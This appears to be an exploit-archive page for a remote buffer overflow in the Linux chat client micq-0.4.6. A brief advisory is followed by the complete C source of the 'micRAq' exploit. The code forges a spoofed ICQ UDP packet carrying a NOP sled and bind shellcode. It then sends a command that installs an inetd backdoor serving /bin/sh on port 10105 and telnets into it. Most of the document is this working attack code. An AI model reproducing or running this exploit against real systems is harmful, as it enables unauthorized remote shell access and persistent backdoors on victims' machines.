source: http://www.securityfocus.com/bid/2254/info
micq is a chat program for Linux systems.
micq-0.4.6 running on Linux/ix86 (Slackware 7.1 - RedHat 6.1) is vulnerable to a remote buffer overflow attack. Other versions on other platforms may also be vulnerable.
This may allow remote attackers to gain access to vulnerable hosts.
/*
[ micRAq ] - by tHE rECIdjVO <[email protected]>
Packet Knights - http://www.pkcrew.org/
- version affected: micq-0.4.6 - maybe others (http://freshmeat.net/)
- coded for: ix86/Linux-2.2.16
- gcc version: egcs-2.91.66
usage: ./micRAq <client_ip> <client_port> <server_ip> <hex_session> [address]
Please read PkC Advisory #003 first.
Catch parameters with tcpdump-3.6.1 (http://www.tcpdump.org/)
Last 4 shown bytes are <hex_session>
# tcpdump -i <interface> -s 49 -tnx udp src port 4000
Dedicated to: Francesca (I'll never forget you :*)
Tnx: |CyRaX|, asynchro, vecna, Nail, [ndk], MatOfPeng
*/
#define DEFAULT_BUFFER_ADDRESS 0xbfffeea0
#define OFFSET 991
#define ICQ_SERVER_PORT 4000
#define BACK_PORT "10105"
#define NOP '\x90'
#define COMMAND "echo -e \"" BACK_PORT " stream tcp nowait `whoami` /bin/sh sh -i\">/tmp/.micRAqbd;/usr/sbin/inetd /tmp/.micRAqbd;sleep 1;rm /tmp/.micRAqbd;exit;"
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
int main(int argc, char *argv[]);
unsigned short in_cksum (u_short *addr, int len); // Ripped. Who didn't it? ;)
void build_buffer(char *buffer, unsigned long *buff_addr);
int go(char *ip);
// bind shellcode by [multiple]
char shellcode[]=
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
typedef struct
{
unsigned char uin[4];
unsigned char year[2];
unsigned char month;
unsigned char day;
unsigned char hour;
unsigned char minute;
unsigned char type[2];
unsigned char len[2];
} RECV_MESSAGE, *RECV_MESSAGE_PTR;
struct SRV_ICQ_pak
{
unsigned char ver[2];
unsigned char zero;
unsigned char session[4];
unsigned char cmd[2];
unsigned char seq[2];
unsigned char seq2[2];
unsigned char UIN[4];
unsigned char check[4];
};
struct srv_net_icq_pak
{
struct SRV_ICQ_pak head;
unsigned char data[1024];
};
unsigned short in_cksum (u_short *addr, int len)
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}
void build_buffer(char *buffer, unsigned long *buff_addr)
{
// Fill the data headers
memset(buffer, '\b', 1024);
memset(buffer, '\0', 7);
buffer[4] = '\x04';
buffer[8] = '\xFE';
// Fill the buffer
memset(buffer + 9, NOP, strtoul(buffer, NULL, 10) + OFFSET - strlen(shellcode) - 9);
memcpy(buffer + OFFSET - strlen(shellcode), shellcode, strlen(shellcode));
memcpy(buffer + OFFSET, buff_addr, 4);
buffer[1023] = '\0';
return;
}
int go(char *ip)
{
int sock, conn;
struct sockaddr_in saddr;
// Create socket
if((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
perror("socket()");
return(-1);
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr(ip);
saddr.sin_port = htons(3879);
// Connect to 3879 and issue COMMAND
if((conn = connect(sock, (struct sockaddr *)&saddr, sizeof(saddr))) < 0) {
perror("connect()");
return(-1);
}
send(sock, COMMAND, sizeof(COMMAND), 0);
// All done here
close(sock);
return(0);
}
int main(int argc, char *argv[])
{
int sock, i, hincl = 1;
unsigned long buff_addr = DEFAULT_BUFFER_ADDRESS;
struct sockaddr_in saddr;
struct ip *pip;
struct udphdr *pudp;
char *packet, conv[3];
struct srv_net_icq_pak *pak;
RECV_MESSAGE_PTR r_data;
printf("\n\t[ [ micRAq ] - by tHE rECIdjVO <[email protected]> ]\n\t\tPacket Knights - http://www.pkcrew.org/\n\n");
if((argc != 5) && (argc != 6)) {
printf("usage: %s <client_ip> <client_port> <server_ip> <hex_session> [buffer]\n\n", argv[0]);
exit(-1);
}
if(strlen(argv[4]) != 8) {
printf("Error: <session> must be 8 digits exadecimal number.\n\n");
exit(-1);
}
if(argc == 6) {
buff_addr = strtoul(argv[5], NULL, 16);
}
printf("Using buffer address: 0x%x\n\n", buff_addr);
// Create the RAW socket
if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket()");
exit(-1);
}
if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &hincl, sizeof(hincl)) < 0) {
perror("setsockopt()");
close(sock);
exit(-1);
}
// Set pointers
packet = malloc(sizeof(struct ip) + sizeof(struct udphdr) + 1024);
pip = (struct ip *)packet;
pudp = (struct udphdr *)(packet + sizeof(struct ip));
pak = (struct srv_net_icq_pak *)(packet + sizeof(struct ip) + sizeof(struct udphdr));
// Clear packet
memset(packet, 0, sizeof(struct ip) + sizeof(struct udphdr) + 1024);
// Fill the packet headers
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr(argv[1]);
pip->ip_len = htons(sizeof(struct ip) + sizeof(struct udphdr) + 1024);
pip->ip_hl = 5;
pip->ip_v = 4;
pip->ip_ttl = 255;
pip->ip_tos = 0;
pip->ip_off = 0;
pip->ip_id = htons(getpid());
pip->ip_p = IPPROTO_UDP;
pip->ip_src.s_addr = inet_addr(argv[3]);
pip->ip_dst.s_addr = inet_addr(argv[1]);
pip->ip_sum = in_cksum((u_short*)pip, sizeof(struct ip));
pudp->source = htons(ICQ_SERVER_PORT);
pudp->dest = htons(atoi(argv[2]));
pudp->len = htons(sizeof(struct udphdr) + 1024);
pudp->check = 0;
// Fill the message headers
pak->head.ver[0] = 5;
pak->head.ver[1] = 0;
pak->head.zero = 0;
for(i = 0; i < 8; i += 2) {
conv[0] = argv[4][i];
conv[1] = argv[4][i + 1];
conv[2] = '\0';
pak->head.session[i / 2] = strtol(conv, NULL, 16);
}
pak->head.cmd[0] = 4;
pak->head.cmd[1] = 1;
pak->head.seq[0] = 0;
pak->head.seq[1] = 0;
pak->head.seq2[0] = 0;
pak->head.seq2[1] = 0;
pak->head.UIN[0] = 0;
pak->head.UIN[1] = 0;
pak->head.UIN[2] = 0;
pak->head.UIN[3] = 0;
pak->head.check[0] = 0;
pak->head.check[1] = 0;
pak->head.check[2] = 0;
pak->head.check[3] = 0;
// Fill the buffer
build_buffer(pak->data, &buff_addr);
// Send the packet
if(sendto(sock, packet, sizeof(struct ip) + sizeof(struct udphdr) + 1024, 0, (struct sockaddr *)&saddr, sizeof(struct sockaddr_in)) < 0) {
perror("sendto()");
close(sock);
exit(-1);
}
// Clear the socket
close(sock);
// Send command to execute inetd backdoor
sleep(1);
// First connect
if(go(argv[1]) < 0) {
printf("Unable to connect :\\\n");
exit(-1);
}
// Wait a bit to let the command to be issued
sleep(1);
printf("\t\"To be");
fflush(stdout);
sleep(2);
printf(", or not to be.\n");
sleep(1);
printf("\t This is the question.\"\n");
sleep(1);
printf("\t\t\t(William Shakespeare)\n\n");
// Connect to remote host
execl("/usr/bin/telnet", "telnet", argv[1], BACK_PORT, NULL);
// Never been here
exit(-1);
}
/* micRAq.c - EOF */
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation